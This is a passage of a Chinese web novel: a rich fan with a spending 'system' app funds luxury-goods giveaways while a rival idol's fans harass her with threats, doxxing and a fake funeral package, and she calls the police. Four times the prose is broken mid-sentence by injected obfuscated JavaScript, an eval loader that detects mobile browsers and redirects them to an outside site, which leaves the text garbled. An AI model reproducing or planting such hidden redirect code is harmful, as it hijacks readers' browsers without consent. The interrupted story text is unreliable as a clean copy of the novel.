这段时间聂嘉远虽然一直在剧组拍戏，但之前的商务表现非常不错，早已证明了他的商业价值，再加上前两天又官宣LQ的品牌代言人，更加奠定了他跻身顶流的基础。 作为国际奢侈品中的一员，LQ虽然还只在二三线徘徊，却也已经是很多内娱明星趋之若鹜却一辈子难以企及的高度了。 这个牌子主营奢侈品包，旗下还有珠宝、腕表、配饰、香氛等一系列产品，官宣当天凌钰看中了他家的一款女士机械表，还顺手买过，只是毕竟不是系统任务，她也就没再特意去晒单。 打开官方旗舰店，聂嘉远的照片就在首页。 凌钰其实也不知道要买些什么，索性点进去先把同款都扫了一遍，再按照价格从高到低排序搜索，一股脑儿加购了三十几件东西，可即便如此，总价也不过才一千万出头。 时间久了，凌钰也算是知道了某些品牌的特性。 据她所知，虽然目前国内外不少奢侈品都有官旗，也有官网，可某些官旗其实只有品牌最普通的商品，那些真正贵的东西是不会让你随便买到的，讲究的就是一个稀缺，高端，限量。 而一些更高端的牌子更是只有官网展示，想买，去线下店吧。 可她还没去过国贸的LQ，连对方的联系方式都没有…… 这么想着，她只好又微信问了下ME的店长，看看她能不能帮忙推荐。 事实证明，没有人会不愿意做生意，哪怕是平时看着永远高高在上的奢侈品。很快，LQ的店长就通过微信非常客气地给她介绍了一堆产品。 眼看着时间一分一秒过去，凌钰实在没时间再慢慢等，干脆道：“要不麻烦你们直接帮我配货吧，我就不在官旗买了，四千万，配好之后把明细发给我，我还是跟以前一样抽奖的。” 她想想，又添了一句：“当然，如果能跟ME一样由你们直接发货更好。” LQ的店长答应得很爽快：“这没问题，您放心，请您稍等。” 费尽心思买东西的当儿，网上舆情已经又达到了一个前所未有的顶峰，除了之前就已经在榜的几个热搜，没过多久，#聂嘉远养蛊#、#聂嘉远塌房#、#王晨之无辜#的词条纷纷上榜。 事情越传越玄乎，就连吃瓜群众都有些迷茫了。 【聂嘉远养蛊是什么操作？有人能给我科普一下吗？不是，粉丝追星是疯魔了吗这些都相信？是认真的还是纯粹胡说八道的啊？】 【我也都有点看不懂了，王晨之发的那条微博从头到尾也没提到聂嘉远吧？不过怎么说呢，我刚看了好几个分析，确实细思极恐，所以现在的意思就是说，那位我来追星了其实是聂嘉远养的蛊？？？】 【这话题怎么越来越离谱了，关键到现在也没人出来给个回应。】 也有人好奇。 【不是，这王晨之究竟谁啊？some又是个什么东西？】 【所以现在就是说，聂嘉远养了一个蛊，那蛊是个氪金粉，不听他的就会死，如果为别人氪金，他表面不说，其实过后就会惩罚她，然后要求她脱粉必须只粉他一个？而那个氪金粉到现在还不出来回应，是因为被他给囚禁了？】 谁给谁囚禁了？ 法治社会，这是给她干哪个频道来了？ 怎么每个字都认识，连起来完全看不懂？ 凌钰刚挖空心思把四千万用完，边等着LQ那边给答复边回微博看了一眼，就被网友们大开的脑洞给震惊到了，还没缓过神呢，下一秒，【识人】app又弹出了好几条提示。 最新任务：本次解锁资金4000 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15169211|160235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 0000元，请于2小时内用清该金额，并将所购物品送出，请确认同担身份，保证抽奖公正，不得由此产生争端，否则宿主将在倒计时结束后按照1:1比例扣除已拥有资金。 什么意思？ 舆论抽风，系统也抽风了？ 她点进【识人】，看着跟之前一模一样的提示愣了半天，还是第一次遇到这种情况，正疑惑是不是之前的提示消息有延迟所以又重复发送了，再返回主页，就看到了往常只有一行的倒计时变成了两行。 第一行显示——01:25:34 第二行显示——01:59:25 ？ 凌钰猛地站起身来，这是同时给了她两个任务，她还要再花四千万？！ 如果花得完，那她就是纯赚，且离自己成为资本更进一步，而如果花不完，她就得负债八千万！有那么一瞬间，凌钰都不知道自己究竟该哭该笑，该是什么心情了！ 大概是虱多不痒债多不愁，如此紧急的情况下，她的思绪竟然格外清晰，甚至冒出了些莫名其妙的幽默感—— 既然自己不太会算钱，那就让会算的算，既然都是聂嘉远的代言，都是奢侈品，就更不能厚此薄彼，何况ME店长刚还帮了她的忙，那就雨露均沾一起宠幸，由她来做个最佳端水大师，让两位店长都去忙活吧。 凌钰立刻给ME也发了条消息：“刚忘了说，麻烦你们家也帮我配四千万的货吧，还跟之前一样给我清单的图片哦，我抽奖，如果能直接帮我寄出去是最好。” ME店长怎么也没想到还有这等好事，立刻兴奋回复：“好的！没问题！请您稍等。” 这下是真的只剩等了。 凌钰从一大早醒来就在忙活，到现在还没正经起床。放下手机，她先爬起来洗漱，才又给自己蒸了几个奶香小馒头，准备一会儿沾着炼乳吃，正想再煎个鸡蛋，隔着抽油烟机工作的声音，却忽然听到了外面的门铃声。 她现在住的这间房子，之前的业主就装了可视门铃，但这时候谁会来找她？ 凌钰提着锅铲走到门口，就看到屏幕里正站着个外卖员，大约已经等了有一会儿了，见里面没动静，还在努力地摁着门铃。 外卖，可是她没点外卖。 凌钰转头拿起手机给孙致容发了个信息：“你给我点外卖了？” “没啊，姐妹你饿了？”孙致容回复得很快，“还好我们今天不忙，这都几点了你还不吃，不会又想着饿晕了吓死谁吧？你想吃啥，我给你点。” “不是，”凌钰压低了声音，“你没点，我也没点，但现在有个外卖员给我送了东西来，就在门口，这会儿还在狂按门铃。” “？？？”孙致容回了一堆问号。 凌钰正要再说，对面很快换成了很简短的几个语音：“别开门！让他放门口，你暂时也别出去。” “不对，你别理他，也别跟他说话，就让他以为家里没人。立刻打电话给物业告诉他们情况，让他们安排人来看外面送的究竟是什么东西。” “你等我一会儿，我跟领导请假，马上就来。” 44.第 44 章 凌钰本来只是有点懵，被孙致容这么一说，不由也生出几分警惕和惧意。 回过头去看，偌大的客厅里只有她孤零零的一个人，这要是碰上什么突发事件，恐怕还真会有些力不从心。 四周空荡，从前看起来简洁大气的装修风格在这一刻莫名透出些诡异的清冷。 一股凉气自后背升腾直蹿脑门，凌钰下意识缩了缩脖子，只觉得屋内地暖的效果都大打折扣，头皮发麻，身体也不受控制地狠狠一颤。 霎时间，什么入室抢劫变态杀人，数不清的骇人场面在脑中闪过。 凌钰本能害怕地握紧了手中的铁铲，越看屏幕里那裹得格外严实，拎着不明塑料袋的外卖员越觉得恐怖。 但好端端的怎么会呢？何况最近她也没干嘛啊。 孙致容遇事警惕，是因为当年被她高中时的情况吓到过，又因为有钱，曾被小混混堵过几回，所以什么都习惯性往坏处想。可现在毕竟信息社会，这大白天的到处都有监控，一个外卖员能干什么？ 出于某种自我安慰的心理，凌钰默默开解了自己两句，好歹心跳没之前那么快了，但她也还是听话地没吭声也没开门，而是退回厨房给物业先拨了电话。 安全问题，思想上没必要太过紧绷，但行为上却一定要谨慎。 经过之前的几次接触，物业经理对这位凌小姐已经十分熟悉，此刻忽然听闻有外卖员无故上门，他也吓了一跳。 “您稍等，千万不要开门，我现在就带人去看看。” 虽然这小区坐落在城郊，可房价并不便宜，因此里面的住户大多还是小有薄资的，凌小姐又是位年轻漂亮有钱的单身女性，如果只是送错单当然问题不大，可万一有人存了什么坏心思，他们也脱不了干系。 得了物业的答复，知道很快有人会来帮忙，凌钰紧绷的神经又放松了一些。 冷静下来，思绪也变得更有条理。 她现在住的这个地方唯有几个家园曾经来过，但那也都是在小区门口。真正知道她门牌号的，除了孙致容，大概就只有原先的业主、房产中介和帮忙办理证件的工作人员。 她得罪的人也有限。 除了几个前同事，大概就是赵恒的粉丝和王晨之的粉丝。 至于从前那位沈云峰，塌房了应该早就没粉了，而且当年她的影响力也不大，估计不够格让人这么费心。 正要细想，那外卖员又开始摁门铃，这一回还伴随了急促的敲击声和烦躁的说话声。 凌钰微微偏着身子，能看到对面正在打电话。 “我已经敲门了……有人吗！！这么响的声音只要里面是个活人肯定都能听见了……说好了？可我这一单马上就超时了，下一单也……不是，那也不能给我差……” 外面安静片刻，又开始边敲门按铃边嚷嚷：“这小区算高档的放门口怎么了……谁会拿？我说放楼下外卖柜你又不同意！” 接着是很暴躁的一声：“艹！” 凌钰也因此被吓得浑身一颤。 对方骂完，明显气得不清，在门口原地乱转了好几圈，像是要将东西放下，又像是要不管不顾地砸门，还没来得及做出最后的抉择，物业经理带着好几个保安终于赶到了现场。 外面乱糟糟的，能听到“你在干什么”的质问，还有外卖员混杂不清的解释和保安的厉声制止。但人一多，具体的句子反不清楚了。 那人很快被带走，物业经理这才又带着两个人摁了门铃。 紧闭的大门打开，凌钰看到对面的经理颇为无语地把手中的袋子往上提了提。 “不知道是谁恶作剧给你点的，这里面是只生鸡，刚那人说是生鲜市场刚杀的，新鲜的很，就是鸡血被特别要求没扎紧，而是用袋子装着简单塞进鸡肚子里了，结果漏得到处都是。” 他说着，很不赞成地摇头：“好好一只鸡就这么糟蹋了，看着怪吓人——虽说洗干净了应该也还能吃，不过来历不明，心里这关总归过不去。” 他不确定地问：“您还要吗？” 凌钰摇头：“我没点，不是我的，我不要。” 经理点点头，把袋子交给一旁的保安。 “可惜那人也就是个普通外卖员，并不知道对方的真实手机号，只知道说是跟您约好了必须送到您手上，不能放楼下外卖柜，不能放门口。” “真不好意思，还是我们管理有疏漏吓到您了，也是之前有业主提出一直下楼拿外卖太麻烦，我们才特意开通了外卖员进电梯的权限，结果没想到出现这种情况。” “他急着还要再去送下一单，不然今天扣的钱得抵上他上好几天外卖了。” 物业经理说着，又道：“因为没有别的证据证明他有问题，所以我们只能先要了他的电话号码，也联系外卖平台核实过，只是这件事具体还要看您的意思，您看，需不需要帮您报警？” 一只鸡，生鸡。 哪怕鸡血洒了出来，报警能如何处理？ 外卖员只是个跑腿的，当然无辜，而点外卖的人可以说自己记错了门牌说错了地址，就算是真的故意吓唬她，除了被要求给她道歉，大约也不会得到什么实质性的惩罚。 但凌钰却还是弯了弯嘴角，点头道：“报警。” 管他是谁，哪怕只是吓人，也都该付出应有的代价，哪怕只是警告和威慑。 人群散去，凌钰重新回厨房煎蛋，又把蒸好的馒头拿出来，吃到一半时，两家店的店长先后发来了清单。 LQ那边挑了十件商品，ME那边则多了一倍，整整二十件。 凌钰确认无误，没多犹豫，点进聂嘉远超话编辑发帖。 【@我来追星了：#聂嘉远#njy#聂嘉远养蛊# 不是不回应，刚在忙着给大家选东西，养蛊这么神奇的东西都给你们编出来了也是离谱。相信科学，远离迷信，当我正主的要求永远只有一个——谨言慎行，遵纪守法，永不塌房。 不用怀疑，就算有一天聂嘉远违背了这个准则，我也会一视同仁。想骂就骂，反正骂了我也不会改。 买了点东西给家园们抽奖，一共三十个名额一起抽，条件和发货规则都和之前一样，二十分钟之后开奖。@聂嘉远@国贸ME@国贸LQ】 消息发出，国贸的两家官博首先转发认领，而家园们则在研究了半天的附 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15175952|160235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 图之后才慢慢回过神，都被这格外夸张的大手笔给惊到了。 【我看错了？谁能帮我数数那是多少钱？】 【等会儿，我感觉我有点不识数了怎么办。】 【淡定点，家园们我数过了，追星姐倒是没有厚此薄彼，两家花的钱一模一样，加起来一共8后面七个零，对撩，80000000，不就区区八千万吗，小意思，淡定淡定……不是，啊！八千万！！！！我真的淡定不了一点！】 【这次是真让追星姐生气了，我发现了个规律，这姐一生气就开始花钱抽奖送同担，一生气就开始花钱抽奖送同担，越生气花得越多，虽然有个想法很不道德，但我好希望姐能一直生气哦。】 【哈哈哈哈俺也一样。】 因为这十分炸裂的金额，凌钰微博里的某些重点都被暂时性的忽略了，就连吃瓜网友也惊到无以复加。 【真的是大佬粉丝，八千万，别说聂嘉远，品牌方估计都要笑疯了吧，一个人的消费能力就这么高，而且这肯定还不是她的极限。难怪王晨之要气得发疯，这种氪金粉内娱多少年才出一个？】 【看看国贸那两家门店都秒认领了，平时多高高在上的人设啊？ME可能还稍微好点，LQ那是什么级别？就算没到顶奢也是世界级的品牌了，国贸门店以前都恨不得拿鼻孔看人的。】 【其实也不能算用鼻孔看人，主要是人家导购身高都比咱们高。】 【八千万！我连骂她炫富都骂不出来了，她是真富，恨自己不是聂嘉远粉丝，要不我也能抽奖了。】 【所以说我之前看王晨之那个长文就觉得怪怪的，毕竟你们想想，正常明星哪怕是被粉丝脱粉，至于像他那么破防吗？东一句西一句说了一堆，其实就是舍不得这么个小富婆不粉他了吧？】 金额太过离谱，再加上本就是舆论的焦点，很快#我来追星了八千万#、#我来追星了聂嘉远#、#我来追星了王晨之#、#一视同仁#和#王晨之怎么了#的话题齐齐冲上了热搜榜。 有不明群众路过表示疑惑，也有人终于开始逐字分析。 【这姐的话是什么意思？是说王晨之塌房了吗？】 【塌不塌的不知道，但肯定触犯了那三个词里面的某一个。之前那帮橙子还嘲讽，说王晨之的今天也许是聂嘉远的明天，让家园们小心呢，现在人家光明正大这么说，反倒很坦荡了。】 【这三句话这姐好像是真的经常说，而且你们记不记得，之前她发给聂嘉远微博的私信，每天也都发的同样的内容，就是这个。】 【我有印象，当时好像也是为了辟谣吧，她每天发，聂嘉远每天自动回复“好”，后来聂嘉远还回关她了，之后又把自动回复改成“您好，我是聂嘉远”了。】 逻辑缜密的分析中，当然还夹杂着其他。 但凌钰还没来得及再看，却突然有个陌生电话打了进来。 她本能摁断了没接。 下一秒，又一个电话打了进来，接着，数个不同号码发送的短信几乎同时跳出：“你妈死了，你也死了，你全家都死光了，说的就是你啊贱东西，外卖不收就好了吗？有本事你就一直不出门嘿嘿。” 45.第 45 章 凌钰只来得及看了个大概，又有陌生电话打了进来。 数条齐发的短信不断变换着内容：“你出门被雷劈，走路被车撞，喝水被噎死，吃饭被呛死，你们全家都在阴曹地府相聚，十八层地狱里永世不得超生。” “泰安小区51栋803，晚上睡觉小心哦。” “慢慢来，先是地址，后是电话号码，一会儿还有别的好东西等着你呢，你不是很厉害吗，不是有钱吗，不是瞧不起人吗？那还不快查查，或者再猜猜，还会有什么？” 也得亏这是凌钰有钱之后才换的新手机，内存足够大，运行足够流畅，否则就这些垃圾短信和骚扰电话的刷屏速度，恐怕早就得搞到程序卡顿，彻底崩溃了—— 当然，现在的情况也没好到哪里去。 电话挂断一个进来一个，提示的短信疯狂往外跳，虽然确实还能看，却根本无法应对，乱七八糟的号码每次都不同，让她就连拉黑也来不及。 送了带血的生鸡还不够，竟然变本加厉边打骚扰电话边发恐吓短信。 凌钰试图从那些断断续续的句子里提炼出一些有效信息，究竟是谁查到了她的私人信息，对她抱有这么大的恶意，又觉得她厉害，有钱，却瞧不起人…… 除了几位前同事，大约就只剩下和王晨之有关的人了。 陈桦和张小洁向来只是嘴贱，而被提告的曾言当然有满肚子的不服和怨气，但上次被警告之后也明显安稳，没再刷存在感。 她已经官司缠身，像今天这样的骚扰恐吓于凌钰而言虽然恶心惊惧，却并不会有什么实质性的损伤，但她如果被调查出证据，却会加重自己的罪名，只要她不傻，都不会再拿自己和孩子的未来作赌注。 正要再想，下一刻，新的短信又跳了出来。 “害怕吗？我知道你只有一个人在家哦，你平时喜欢穿深色卫衣，出门会套一件黑色羽绒服，每天都会去楼下的运动场运动，你刚刚让人打电话报警了？可是你报警也没用的，警察抓不到我，可我知道你在哪在干什么，嘻嘻。” 艹！ 有那么一瞬间，凌钰险些把手机扔出去，也终于理解了很多明星艺人为什么格外害怕私生。 这种如影随形好似附骨之蛆的感觉，实在太难受，太惊悚了。 她没敢再看，当机立断选择关机，又打开了许久未用的笔记本给孙致容发微信：“我的地址和电话都被泄漏了，那人对我很了解，连我每天在哪里运动都知道，可能就在附近，也可能是黑了小区监控，你来的路上小心点，到了发我消息。” “？？？”孙致容又发了一堆问号来，很快变成语音：“你在家等着！我已经快到你们小区门口了。” 凌钰坐在椅子上，缓缓吐出一口气。 这段时间，她的手机一直保持着充足的电量续航，现在突然就这么毫无预兆地关了，还真有点不太习惯，尤其是【识人】app的任务还正在进行，到时候也不知道会怎么…… 抬起眼，思绪中断。 刚才还排列着整齐图标的笔记本的屏幕上，黑底白字的【识人】晃晃悠悠又占据了首页的中间位置，再往上，两行鲜红的倒计时在认真跳动。 第一行显示——01:00:14 第二行显示——01:34:05 距离微博开奖还剩3分钟。 随着时间流逝，越来越多的人加入了这场惊心动魄的氪金话题大讨论，广场上，转发区，就连营销号下都是不同想法不同阵营的思辨。 【不是，内娱真完了吗？这王晨之究竟谁啊，一天上这么多次热搜。】 【这姐真是疯了！有锤发锤没锤少说话，你他妈现在这样一发，对王晨之的影响有多大你知道吗？发了脱粉声明还不够，还来这一套，有钱就了不起吗？有钱就可以为所欲为吗？举报了！】 【哈哈哈哈，终于有人能治治王晨之的这帮脑残粉了，天天装作心直口快的样子立耿直人设，其实真遇到事的时候比谁都疯。我家付一苦王晨之久矣！】 【丑聂敢对天发誓这不是他安排的吗？看似氪金抽奖，其实是花钱买热度买流量，现在都这么明目张胆了？之前就靠这一招跟我们恒星吵架，现在又对上王晨之了，奉劝以后被这姐粉的人小心点，她就是个灾星。】 【哈哈哈路人看笑了，被她针对的人才是灾星吧？被粉的人我看很幸福啊。】 【王晨之和他的粉丝是真的酸真的气，看那个养蛊什么的，这是气得说胡话了吧？既然当舔狗就好好舔啊，现在人也没了钱也没了，同情。】 【楼上疯了吧？谁当舔狗了？橙子们热情好客就成舔狗了吗？滚尼玛的吧！】 凌钰又看了一会儿，果然没多久就发现又有大量私信涌来，这次几乎都是些不知名的小号：“以为手机关机就没事了？有本事你永远不上网不用电话不出门，不是会用微博造舆论吗？没妈的玩意，真以为自己无所不能了？” “给你看点好东西啊。” 接着就是各种乱七八糟的小动物尸体图，血腥照片之类，虽然恶心，但却终于让凌钰得出了结论，先前的那些因未知而产生的恐惧也因此渐渐消散。 还真是王晨之的粉丝。 大概是先前接触过的人中的某一位本来就是他的粉，又或者是那些粉丝通过什么非法手段收集到了她的信息，反正不管如何，总算不至于像之前那样两眼一抹黑了。 凌钰没去回复，只暂时屏蔽了所有陌生人私信。 刚操作完成，孙致容也终于到了。 因为和微博开奖的时间有些冲突，两人暂时先没多说什么，等凌钰检查完中奖人信息，剔除掉其中三位不符合条件的，又编辑微博二次抽奖，孙致容才终于骂出了声：“他们是疯了吧？” “大概是。”凌钰说着，站起身来稍微活动了一下身子，把这几天的具体情况大概说了一遍，结果自然引来孙致容又一番辱骂。 “所以这个王晨之说话就没一句真的，表现出来的是活泼可爱的年下弟弟，其实根本就是那种偏执狂神经病，他是不是霸总小说看多了，把脑子给看坏了！” “这样的人居然也能当爱豆？他这种所谓‘宠粉’的人设，都不知道之前还有多少人被骗过。早知道你不该这么快删他微信的，应该等老娘来骂死他——” 孙致容说了一半，忽然又摇头。 “算了算了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15187494|160235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，你删得对拉黑得对，现在不过是单纯不理他，他都专门发了小作文内涵，要是我真用你的号骂了他，他肯定就得截图跟粉丝诉苦了，到时候他那帮粉丝还不得更极端？” “真是晦气，当时听说他在前线救灾还挺照顾人，还以为他真的挺好呢！” 孙致容叹了口气。 凌钰也发愁，不仅因为手机暂时用不了，就连外卖也点不成，更因为这突如其来的情况，下午的看房计划估计也要泡汤。 泰安小区虽然舒服，可安保措施上到底还不太完善。 泄露地址和电话除了之前的猜测，也可能是因为她自己办理某些业务时没注意保护隐私，可对方连她每天穿什么衣服在干什么都能查到，就实在太过了。 孙致容显然比她想得更远些。 “外卖能送上门，快递也能送上门，你如果正常生活倒是挺方便的，可现在有人在暗处盯着，谁知道会不会有趁乱胡来的，你又是自己一个人住，到时候我想要帮忙都来不及！” “先等警察来，”她又走到门前看了一眼，“但按照我的经验，一时半会估计查不出什么，对方的IP可能在国外，所以你现在可以收拾东西了。” “啊？”凌钰有些愣怔，“收拾什么东西？” “换洗衣服，生活用品，”孙致容大概看了一圈，“其他也不用带，反正你暂时先搬去我家，我那边虽然地方小，但家里人多，而且房产是房东的，他们想找你反而找不到。先住一阵子，后面再看情况吧。” “可是，”凌钰犹豫道，“那样太挤了吧？” 孙致容闻言，也有些迟疑：“是挤，不行就让周哥最近睡沙发去，不然怎么办呢，反正让你住在这我肯定是不放心的。我今天能请假，又不能天天请假，至于你的手机卡，一会儿先用我的身份证办一张。” 话虽如此，但这件事一时半会儿也很难说定，何况到现在警察还没来。 凌钰先刷新了一下微博，新的抽奖结果已经出来了，虽然各方人马全在混战，但这次的名单没再出什么问题。信息公布，任务完成，只是因为手机暂时用不了，她都不知道银行卡究竟到账了没，这感觉实在不太美妙。 心中激情辱骂了几句，凌钰脑子里忽然灵光一闪。 她真是被折腾傻了！对方打她电话，她不用电话卡不就好了，完全可以直接用手机连家里的无线网啊！一番操作之后，银行app终于跳出最新提醒：您的借记卡交易成功，转存80000000.00元。 想到自己之前还剩下的快两千万余额，她顿了顿，扭过头问孙致容：“你说，如果咱花一个亿买房的话，能不能买个特别安全的？” “……”正忙着看热搜的孙致容略显呆滞地抬起头，“你说多少？！” 话音刚落，门铃声骤然响起，把两人齐齐吓了一跳。 凌钰倒是很快反应过来：“应该是物业经理带警察来了吧？” 起身走到客厅，然而她刚准备开门就发觉有些不对，可视门铃的屏幕里空空荡荡，唯有一面光秃秃的白墙。 没有人。 再走近些，能看到有个纸箱摆在地上。 “快递？” 46.第 46 章 几乎是刹那间，凌钰就察觉出了不对。 想起之前的短信里发来的威胁和恐吓，她连忙伸手，一把拉住了想要出门的孙致容：“别去拿了，我最近根本就没买东西，这快递恐怕和那只带血的生鸡一样，也是用来吓唬我的。” “……疯了吧？” 孙致容本来还震惊于凌钰张口就来的“一个亿”，此刻却明显愣住，气得瞬间红了脸。 “还没完没了了？这种事干了是犯法的他们是不懂吗？追星把脑子给追没了，还是他们本来就是纯坏啊！” 她说着，在客厅里蛮牛似的来回转了好几圈。 “就没什么办法吗？去网上曝光他们……也不对！现在贸然曝光估计也没什么用，找不到确定的人，也没有确凿的证据，他们明面上肯定要抵赖，私底下说不定还觉得这招真的吓到了你，反而更疯。” “这还进死循环了！警察怎么还没来……” 大约是念叨得太厉害，话没说完，物业经理终于领着警察来了。 凌钰倒是沉得住气，其实事情到了这个程度，唯有走官方途径解决才是最稳妥的。 到场的民警本以为只需处理外卖的问题就好，没成想现在又多出一个不明快递，当众拆开，里面竟是用凌钰头像P成的恐怖遗照以及一堆花圈蜡烛，众人脸上的表情都变得凝重起来。 隐私暴露监控被黑，境外IP骚扰威胁和各种不明包裹的同时出现引起了警方高度重视。 一直到傍晚，来来往往的民警辅警和物业工作人员才离开。 这期间，凌钰不仅上交了那帮狂热粉留下的所有证据，还把王晨之当时对她的夺命连环call和信息轰炸也同时上交。那张已经无法正常使用的手机卡，同样交给了警方去协助调查。 只是既是狂热粉，自然把偶像放在首位。 想要击溃对方的心理防线，普通的方法肯定是行不通的。追星人的心性有多坚定，没有人比凌钰更清楚，她仔细想了半天，最后还是叮嘱了一句。 “如果能定位到那个骚扰我的人，也许可以试着把王晨之发给我的消息和打的电话给对方看看。” 他们前脚刚走，凌钰后脚就立刻起身开始收拾东西，这回不用孙致容再劝，她也知道家里真的不安全，是确实不能再住了。 邮寄东西点外卖毕竟还只是小菜，凌钰想到某些私生甚至会钻进明星的家里，爬到他们睡觉的床上，而那仅仅只是因为他们的“喜欢”。 对喜欢的人尚且如此，这些人对她可是纯恨，她可不想半夜睁开眼，发现有双眼睛在头顶，刀还抵在她脖子上。 一夜无话。 第二天一早，孙致容和周哥出门上班之后，凌钰还是去就近的营业厅先尝试用自己的身份证重新办了张手机卡，她有太多的软件要绑定，用孙致容的证件毕竟不方便，结果就这么心惊胆战地试用了一整天，也没再有骚扰电话进来。 看来王晨之的那些狂热粉也并没有想象中那么手眼通天。 到了年末，天气很冷，下午才过五点窗外就全黑了，孙致容和周哥都还没下班，只有孙爸在外面的客厅里看电视。 隔着房门的缝隙，能听到男主角字正腔圆却有些断字古怪的普通话：“兄弟们，为了——我大齐的江山，为了——我们的父母亲人，今日一战，我大齐将士哪怕战至最后一刻，也宁死不屈誓死不退！跟着本王，冲啊！” 话音未落，在无数喊杀声中，传来女主声嘶力竭地吼叫：“蒋宇辰！不要！！” 蒋宇辰？ 这名字还挺耳熟，凌钰下意识往电视屏幕瞟了一眼，难怪耳熟，这不是《龙吟》吗？赵恒饰演的男主角蒋宇辰并没有因为女主的阻止而停下，义无反顾地冲进了乱军之中。 孙爸实在没忍住吐槽：“什么烂剧！你不是会武功能飞的吗？你拿你两条腿在那跑什么呢！真难看，好不容易熬到最后一集了还这么难看！” “这么紧张的时候你放什么慢动作？啊呀这女主角跑过去干嘛，捣乱吗！” “打仗呢！啊呀呀呀你看看，被箭给射中了吧，死了呀！诶！王爷！你誓死不退你怎么这时候退了！还抱！城都要被攻破了，还有男主你这么难过倒是哭啊，这是什么便秘的表情？真是气死我了！” “这时候你会飞了！女主不死你是飞不起来怎么的！” 凌钰有点想笑，缓缓收回目光。 《龙吟》最后扑得悄无声息，除了赵恒中途出了点状况之外，可能跟这离谱的剧情和稍显逊色的感情戏也有关。 外面的孙爸终于气得换了个综艺节目看，凌钰低头，正打算问问孙致容晚上吃什么，就先接到了民警给她发来的微信。 “凌女士，案子已经有进展了，王晨之那边的确有些问题，我们局里马上会发布官方的警情通报，你可以关注转发一下。” 凌钰昨天受了惊，今天一整天都没心情去看网上那些乱七八糟的事，除了在客厅陪孙爸看电视，就是在房间听孙爸看电视，要不就靠在抱枕上比对T市哪家楼盘安保做得比较好。 此刻看到弹出的提示，她先礼貌回复了一句“好的，辛苦了”，才终于打开微博。 虽然已经设置了禁止陌生人私信，但仍有太多的评论转发和点赞跳出，凌钰手机稍稍卡顿了两秒才恢复正常。 信息自动更新，还没来得及去搜T市公安，就先看到了首页的热门话题。 【@小有娱乐：#聂嘉远不惧监督##聂嘉远尊重粉丝选择#年终盛典彩排在即，大批明星提前到达现场，今天小编抓到了《凤凰记》主演@聂嘉远，快来看看小聂同学都说了些什么吧！】 文案下方是一条采访短视频。 凌钰点击播放，刚开始的几个问题都比较寻常，无非是表演准备得如何，有没有给粉丝什么惊喜，期不期待获奖之类，但到最后却问了一个当前大家最为关注，却也颇具争议的话题。 “我们都知道你有一个很厉害的粉丝，叫‘我来追星了’。” 聂嘉远点了点头。 画外音又道：“前两天她在微博发表言论，说如果有一天你违背了她提出的‘谨言慎行，遵纪守法，永不塌房’三句箴言，她也一样会像现在这样发表公开声明脱粉，不知道小聂看到了没有？” 作为当前流量最大常驻微博热搜的明星，这种官方采访一般都会提前和工作室沟通，所以绝对不可能出现很早之前那种娱记贴脸开大的情况。 如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15188197|160235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 果问了，播了，就只有一种可能—— 工作室允许，艺人同意。 画面里的聂嘉远也确实并无异样，依旧笑着点了点头：“看到了。” 对面又问：“那，对此你有什么看法呢？” 聂嘉远嘴角的笑意仍在，目光格外笃定地缓缓看向镜头。 “我认为，作为艺人就该不惧监督，如果真有那么一天，我会尊重粉丝的选择。当然，我还是希望永远不要有那么一天，所以为了这个目标，我会时刻牢记时刻提醒自己，做到谨言慎行、遵纪守法、永不塌房。” 他顿了顿，又歪了一下头：“我觉得，我也相信自己能做到。” 如果说前面的回答就事论事还算官方，但已经有了点为粉丝出头的意思，那最后这句话就简直是点名道姓的指桑骂槐了。 反正王晨之的粉丝是这么觉得的。 因此好好一个评论区，除了最前面几条被家园们控住，底下简直吵得沸反盈天，橙子们跟疯了一样激情辱骂。 【煞笔玩意，真以为自己是什么正人君子了？在娱乐圈摸爬滚打，能混到现在的能是什么简单的人？我就不信你从来没做过亏心事。大话说在前面可不是好事，小心哪天自己打自己的脸。】 